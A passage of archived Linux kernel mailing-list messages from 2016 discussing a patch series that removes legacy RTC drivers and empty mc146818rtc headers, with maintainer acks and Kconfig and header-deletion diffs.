Xref: news.gmane.org gmane.linux.ports.alpha:3660 gmane.linux.kernel:2209115 gmane.linux.ports.ia64:26665 gmane.linux.ports.parisc:26688 gmane.linux.ports.ppc64.devel:126463 gmane.linux.ports.sh.devel:53843 gmane.linux.kernel.cross-arch:31745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3660>

On Wednesday 27 April 2016 09:54:41 Geert Uytterhoeven wrote:
> Hi Arnd,
> 
> On Tue, Apr 26, 2016 at 11:44 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> > For the genrtc driver, rearranging the headers makes it simpler
> > to use and reduces duplication. In case of alpha and mn10300,
> > I've shown that the genrtc and rtc drivers are doing the same
> > thing, so we don't need them both. The remaining three
> > architectures (m68k, parisc, powerpc) actually all support
> > the newer rtc-generic driver, so we could remove genrtc completely
> > if we want to.
> 
> CONFIG_GEN_RTC is not enabled in any of the m68k defconfigs, so I think genrtc
> has been unused for a while.
> All defconfigs either use CONFIG_RTC_DRV_GENERIC, or enable a more specific
> RTC driver.

Ok, good to know. I'm guessing the same is true for parisc, but there are
also very few users.

Regarding the Q40 specific ioctls, what do you think this means, is it

a) nobody uses Q40 with modern kernels,
b) nobody calls RTC_PLL_GET/RTC_PLL_SET on q40, or
c) Q40 users have their own configurations and enable GEN_RTC?

On powerpc, a quarter of the defconfigs (mostly for really old hardware)
still use GEN_RTC, but I guess we can either bulk-convert them to RTC_GENERIC,
or convert the five implementations of .get_rtc_time/.set_rtc_time
(8xx, rtas, chrp, powermac, maple) into five regular RTC class drivers.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 2/8] char/rtc: legacy RTC is no longer supported on x86
Date: Wed, 27 Apr 2016 10:35:59 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20160427083559.GG3264@piout.net>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
 <1461707052-1337718-3-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461746295 1069 80.91.229.3 (27 Apr 2016 08:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 08:38:15 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Apr 27 10:38:04 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avKyy-0002nT-F8
	for lnx-linux-alpha@plane.gmane.org; Wed, 27 Apr 2016 10:38:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751967AbcD0IiE (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 27 Apr 2016 04:38:04 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:46808 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751920AbcD0IiB (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 27 Apr 2016 04:38:01 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 2D06B35D; Wed, 27 Apr 2016 10:37:59 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [37.165.126.67])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 352E8B5;
	Wed, 27 Apr 2016 10:37:48 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461707052-1337718-3-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3661 gmane.linux.kernel:2209121 gmane.linux.ports.ia64:26666 gmane.linux.ports.parisc:26689 gmane.linux.ports.ppc64.devel:126465 gmane.linux.ports.sh.devel:53844 gmane.linux.kernel.cross-arch:31746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3661>

On 26/04/2016 at 23:44:06 +0200, Arnd Bergmann wrote :
> Commit 3195ef59cb42 ("x86: Do full rtc synchronization with ntp") had
> the side-effect of unconditionally enabling the RTC_LIB symbol on x86,
> which in turn disables the selection of the CONFIG_RTC and
> CONFIG_GEN_RTC drivers that contain a two older implementations of
> the CONFIG_RTC_DRV_CMOS driver.
> 
> This removes x86 from the list.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>

Two down, still four drivers for the x86 RTCs...


> ---
>  drivers/char/Kconfig | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
> index 66b5d48f409a..9bdb629fbaae 100644
> --- a/drivers/char/Kconfig
> +++ b/drivers/char/Kconfig
> @@ -279,7 +279,7 @@ if RTC_LIB=n
>  
>  config RTC
>  	tristate "Enhanced Real Time Clock Support (legacy PC RTC driver)"
> -	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300 || X86
> +	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300
>  	---help---
>  	  If you say Y here and create a character special file /dev/rtc with
>  	  major number 10 and minor number 135 using mknod ("man mknod"), you
> @@ -328,7 +328,7 @@ config JS_RTC
>  config GEN_RTC
>  	tristate "Generic /dev/rtc emulation"
>  	depends on RTC!=y
> -	depends on ALPHA || M68K || MN10300 || PARISC || PPC || X86
> +	depends on ALPHA || M68K || MN10300 || PARISC || PPC
>  	---help---
>  	  If you say Y here and create a character special file /dev/rtc with
>  	  major number 10 and minor number 135 using mknod ("man mknod"), you
> -- 
> 2.7.0
> 

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 10:41:02 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <CAMuHMdU8WGkosaC7wK8Jp9D7DGjUjBEHURYkp9GppTz2wxRe_A@mail.gmail.com>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
	<CAMuHMdV=R3ad33vPdMZNvZZ8A_DF+F2C8nyAmXOmFiiP50D_UQ@mail.gmail.com>
	<6883809.SRgmlLMdyd@wuerfel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461746476 3872 80.91.229.3 (27 Apr 2016 08:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 08:41:16 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 10:41:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avL1x-0003hH-Em
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 10:41:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751513AbcD0IlH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 04:41:07 -0400
Original-Received: from mail-io0-f194.google.com ([209.85.223.194]:32779 "EHLO
	mail-io0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750721AbcD0IlE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 04:41:04 -0400
Original-Received: by mail-io0-f194.google.com with SMTP id x35so5320803ioi.0;
        Wed, 27 Apr 2016 01:41:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=TZEisSL2Z1m66FBeLc1loS4HahXjE/10KzOzHF8Ecrc=;
        b=s2Wxnazu34EiEISx/tZngti5zOWf0wkXy8MB+UzOaHUWZvex/Pv9YE+H1Pa5tFzf1L
         YtHz/0ZsCMKxL135fLBllDFy9Hzz3okTx/XoKRzyPJ6SgFbePJARgBsHyahKvOOPYSRV
         OhaEGfixn0GWTD3IoSTQfN48YlVtKbYe+GwvOVZyWbnwKpgmWloqGsdjeSQ6l+0pGqYa
         MKvbOek0hVtbPLzaYI603slURgBIOLIOee96NBtXiLg4+a2wk2v1beVXKjCI2e+iamMN
         D3ph2fOTIbvhsb9Xu55IPhHQsQk1NCLw8EITZrro4RJO0TLjiD8gikSFq+2uUxsI7A8N
         45Sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=TZEisSL2Z1m66FBeLc1loS4HahXjE/10KzOzHF8Ecrc=;
        b=XsuvogrQxXTPR9SJGVOBH5uMGdo11fOo77WuDdWFcXkhBLMBliwqGHJtAwTkc9SL+y
         w/SAmOe0oMlsnLLjXCiermnc6lGwaNCdPw9M/PkaAyh9RuvKRbepKRnpHlgBiPIh4LIP
         +4QgeEHabSsmLnMb28U7+k+mG1cUbFFPaefbIGQYPffvgN65xqoZMDVqwb83uKJK4Acx
         t585QKonqFa8TzIHt1n85hTflbxRoYbbK8ksmot0DCHAI7f/162+++MRxlP6Nfe7hfDz
         m5AWl639iK4Y+iym8THp5iKCzNkSD2cYydqW8f70LHWq1vwnzD0jc7TZg4jRcT8uPs2/
         gJlw==
X-Gm-Message-State: AOPr4FVHT13tBqjKOThaoSjlCN8BXS7MkIqycqkeS2V1w5KHFOneR7PeGtO2+/FjDDjDVo+5FtIA9wqcbqYXIQ==
X-Received: by 10.107.53.200 with SMTP id k69mr8644099ioo.174.1461746462680;
 Wed, 27 Apr 2016 01:41:02 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 01:41:02 -0700 (PDT)
In-Reply-To: <6883809.SRgmlLMdyd@wuerfel>
X-Google-Sender-Auth: itD9HYBbY_EX5RjHmF6dvV1GZG4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26690 gmane.linux.ports.alpha:3662 gmane.linux.kernel:2209125 gmane.linux.ports.ia64:26667 gmane.linux.ports.ppc64.devel:126466 gmane.linux.ports.sh.devel:53845 gmane.linux.kernel.cross-arch:31747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26690>

Hi Arnd,

On Wed, Apr 27, 2016 at 10:33 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Wednesday 27 April 2016 09:54:41 Geert Uytterhoeven wrote:
>> On Tue, Apr 26, 2016 at 11:44 PM, Arnd Bergmann <arnd@arndb.de> wrote:
>> > For the genrtc driver, rearranging the headers makes it simpler
>> > to use and reduces duplication. In case of alpha and mn10300,
>> > I've shown that the genrtc and rtc drivers are doing the same
>> > thing, so we don't need them both. The remaining three
>> > architectures (m68k, parisc, powerpc) actually all support
>> > the newer rtc-generic driver, so we could remove genrtc completely
>> > if we want to.
>>
>> CONFIG_GEN_RTC is not enabled in any of the m68k defconfigs, so I think genrtc
>> has been unused for a while.
>> All defconfigs either use CONFIG_RTC_DRV_GENERIC, or enable a more specific
>> RTC driver.
>
> Ok, good to know. I'm guessing the same is true for parisc, but there are
> also very few users.
>
> Regarding the Q40 specific ioctls, what do you think this means, is it
>
> a) nobody uses Q40 with modern kernels,
> b) nobody calls RTC_PLL_GET/RTC_PLL_SET on q40, or
> c) Q40 users have their own configurations and enable GEN_RTC?

To be honest, I have no idea. There have never been many Q40 users.
(old) http://www.linux-m68k.org/Registry/Statistics.html shows only 8.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] char/rtc: remove empty asm/mc146818rtc.h files
Date: Wed, 27 Apr 2016 10:41:31 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <20160427084131.GH3264@piout.net>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
 <1461707052-1337718-4-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461746525 4706 80.91.229.3 (27 Apr 2016 08:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 08:42:05 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 10:41:54 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avL2g-0003uf-5V
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 10:41:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752473AbcD0Ilx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 04:41:53 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:47018 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750994AbcD0Ilv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 04:41:51 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 18599479; Wed, 27 Apr 2016 10:41:49 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [37.165.126.67])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 6B756141;
	Wed, 27 Apr 2016 10:41:38 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461707052-1337718-4-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26691 gmane.linux.ports.alpha:3663 gmane.linux.kernel:2209126 gmane.linux.ports.ia64:26668 gmane.linux.ports.ppc64.devel:126467 gmane.linux.ports.sh.devel:53846 gmane.linux.kernel.cross-arch:31748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26691>

On 26/04/2016 at 23:44:07 +0200, Arnd Bergmann wrote :
> Nothing on these architectures ever includes the asm/mc146818rtc.h
> file, the drivers that used to do this have been fixed long ago,
> and the remaining users are all PC-specific.
> 
> This removes the files for good.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>

> ---
>  arch/frv/include/asm/mc146818rtc.h    | 16 ----------------
>  arch/h8300/include/asm/mc146818rtc.h  |  9 ---------
>  arch/ia64/include/asm/mc146818rtc.h   | 10 ----------
>  arch/parisc/include/asm/mc146818rtc.h |  9 ---------
>  arch/sh/include/asm/mc146818rtc.h     |  7 -------
>  5 files changed, 51 deletions(-)
>  delete mode 100644 arch/frv/include/asm/mc146818rtc.h
>  delete mode 100644 arch/h8300/include/asm/mc146818rtc.h
>  delete mode 100644 arch/ia64/include/asm/mc146818rtc.h
>  delete mode 100644 arch/parisc/include/asm/mc146818rtc.h
>  delete mode 100644 arch/sh/include/asm/mc146818rtc.h
> 
> diff --git a/arch/frv/include/asm/mc146818rtc.h b/arch/frv/include/asm/mc146818rtc.h
> deleted file mode 100644
> index 90dfb7a633d1..000000000000
> --- a/arch/frv/include/asm/mc146818rtc.h
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -/* mc146818rtc.h: RTC defs
> - *
> - * Copyright (C) 2005 Red Hat, Inc. All Rights Reserved.
> - * Written by David Howells (dhowells@redhat.com)
> - *
> - * This program is free software; you can redistribute it and/or
> - * modify it under the terms of the GNU General Public License
> - * as published by the Free Software Foundation; either version
> - * 2 of the License, or (at your option) any later version.
> - */
> -
> -#ifndef _ASM_MC146818RTC_H
> -#define _ASM_MC146818RTC_H
> -
> -
> -#endif /* _ASM_MC146818RTC_H */
> diff --git a/arch/h8300/include/asm/mc146818rtc.h b/arch/h8300/include/asm/mc146818rtc.h
> deleted file mode 100644
> index ab9d9646d241..000000000000
> --- a/arch/h8300/include/asm/mc146818rtc.h
> +++ /dev/null
> @@ -1,9 +0,0 @@
> -/*
> - * Machine dependent access functions for RTC registers.
> - */
> -#ifndef _H8300_MC146818RTC_H
> -#define _H8300_MC146818RTC_H
> -
> -/* empty include file to satisfy the include in genrtc.c/ide-geometry.c */
> -
> -#endif /* _H8300_MC146818RTC_H */
> diff --git a/arch/ia64/include/asm/mc146818rtc.h b/arch/ia64/include/asm/mc146818rtc.h
> deleted file mode 100644
> index 407787a237ba..000000000000
> --- a/arch/ia64/include/asm/mc146818rtc.h
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -#ifndef _ASM_IA64_MC146818RTC_H
> -#define _ASM_IA64_MC146818RTC_H
> -
> -/*
> - * Machine dependent access functions for RTC registers.
> - */
> -
> -/* empty include file to satisfy the include in genrtc.c */
> -
> -#endif /* _ASM_IA64_MC146818RTC_H */
> diff --git a/arch/parisc/include/asm/mc146818rtc.h b/arch/parisc/include/asm/mc146818rtc.h
> deleted file mode 100644
> index adf41631449f..000000000000
> --- a/arch/parisc/include/asm/mc146818rtc.h
> +++ /dev/null
> @@ -1,9 +0,0 @@
> -/*
> - * Machine dependent access functions for RTC registers.
> - */
> -#ifndef _ASM_MC146818RTC_H
> -#define _ASM_MC146818RTC_H
> -
> -/* empty include file to satisfy the include in genrtc.c */
> -
> -#endif /* _ASM_MC146818RTC_H */
> diff --git a/arch/sh/include/asm/mc146818rtc.h b/arch/sh/include/asm/mc146818rtc.h
> deleted file mode 100644
> index 0aee96a97330..000000000000
> --- a/arch/sh/include/asm/mc146818rtc.h
> +++ /dev/null
> @@ -1,7 +0,0 @@
> -/*
> - * Machine dependent access functions for RTC registers.
> - */
> -#ifndef _ASM_MC146818RTC_H
> -#define _ASM_MC146818RTC_H
> -
> -#endif /* _ASM_MC146818RTC_H */
> -- 
> 2.7.0
> 

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 4/8] char/rtc: move mc146818rtc code out of
 asm-generic/rtc.h
Date: Wed, 27 Apr 2016 11:29:12 +0200
Lines: 530
Approved: news@gmane.org
Message-ID: <20160427084707.GI3264@piout.net>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
 <1461707052-1337718-5-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461749410 19891 80.91.229.3 (27 Apr 2016 09:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 09:30:10 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 11:30:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avLnF-0008Jw-HU
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 11:30:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753475AbcD0J3p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 05:29:45 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:48892 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753035AbcD0J3i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 05:29:38 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id D9194143; Wed, 27 Apr 2016 11:29:24 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [37.165.126.67])
	by mail.free-electrons.com (Postfix) with ESMTPSA id EDFF8B2;
	Wed, 27 Apr 2016 11:29:13 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461707052-1337718-5-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26692 gmane.linux.ports.alpha:3664 gmane.linux.kernel:2209167 gmane.linux.ports.ia64:26669 gmane.linux.ports.ppc64.devel:126469 gmane.linux.ports.sh.devel:53847 gmane.linux.kernel.cross-arch:31749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26692>

The subject should be:
rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h

Else, you can add:
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>


On 26/04/2016 at 23:44:08 +0200, Arnd Bergmann wrote :
> Drivers should not really include stuff from asm-generic directly,
> and the PC-style cmos rtc driver does this in order to reuse the
> mc146818 implementation of get_rtc_time/set_rtc_time rather than
> the architecture specific one for the architecture it gets built for.
> 
> To make it more obvious what is going on, this moves and renames the
> two functions into include/linux/mc146818rtc.h, which holds the
> other mc146818 specific code. Ideally it would be in a .c file,
> but that would require extra infrastructure as the functions are
> called by multiple drivers with conflicting dependencies.
> 
> With this change, the asm-generic/rtc.h header also becomes much
> more generic, so it can be reused more easily across any architecture
> that still relies on the genrtc driver.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> ---
>  drivers/rtc/rtc-cmos.c      |  12 +--
>  include/asm-generic/rtc.h   | 206 ++------------------------------------------
>  include/linux/mc146818rtc.h | 194 +++++++++++++++++++++++++++++++++++++++++
>  3 files changed, 205 insertions(+), 207 deletions(-)
> 
> diff --git a/drivers/rtc/rtc-cmos.c b/drivers/rtc/rtc-cmos.c
> index 84fb541038be..c7993f18edfa 100644
> --- a/drivers/rtc/rtc-cmos.c
> +++ b/drivers/rtc/rtc-cmos.c
> @@ -43,7 +43,7 @@
>  #include <linux/of_platform.h>
>  
>  /* this is for "generic access to PC-style RTC" using CMOS_READ/CMOS_WRITE */
> -#include <asm-generic/rtc.h>
